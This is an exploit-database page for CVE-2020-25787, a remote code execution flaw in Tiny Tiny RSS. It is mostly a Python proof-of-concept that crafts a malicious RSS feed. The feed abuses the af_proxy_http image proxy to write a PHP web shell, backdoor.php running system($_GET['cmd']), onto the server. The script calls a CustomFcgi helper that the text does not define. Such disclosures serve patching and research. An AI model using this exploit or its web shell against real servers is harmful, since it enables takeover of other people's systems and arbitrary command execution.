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Tiny Tiny RSS - Remote Code Execution Exploit
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![](/img/risk/critlow_4.gif)
Security Risk Critical
]0day-ID
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# Exploit Title: Tiny Tiny RSS - Remote Code Execution # Exploit Author: Daniel Neagaru & Benjamin Nadarević # Blog post: https://www.digeex.de/blog/tinytinyrss/ # Software Link: https://git.tt-rss.org/fox/tt-rss # Version: all before 2020-09-16 # Commit with the fixes: https://git.tt-rss.org/fox/tt-rss/commit/c3d14e1fa54c7dade7b1b7955575e2991396d7ef # Tested on: default docker installation method # CVE : CVE-2020-25787 #!/usr/bin/env python3 from sys import argv import base64 TTRSS_PATH = "/var/www/html/tt-rss/" BACKDOOR_CODE = """ <?php echo "success\n"; echo system($_GET['cmd']); ?> """ feed_file = open("malicious_RCE_feed.xml",'w') filename = TTRSS_PATH + "config.php" output = TTRSS_PATH + "backdoor.php" backdoor_code = base64.b64encode(BACKDOOR_CODE.encode("ascii")) rce = "public.php?op=pluginhandler&plugin=af_proxy_http&pmethod=imgproxy&url=" + CustomFcgi(filename, output, backdoor_code) + "&text" feed ="""<?xml version="1.0" encoding="UTF-8" ?> <rss version="2.0"> <channel> <title>Exploit demo - rce</title> <link></link> <description>You are getting infected :(</description> <item> <title> Check if there is backdoor.php</title> <link><![CDATA[backdoor.php?cmd=id&bypass_filter=://]]></link> <description> <![CDATA[ Dummy text <img src="{}"> ]]> </description> </item> </channel> </rss> """.format(rce) feed_file.write(feed) feed_file.close() # 0day.today [2024-07-02] #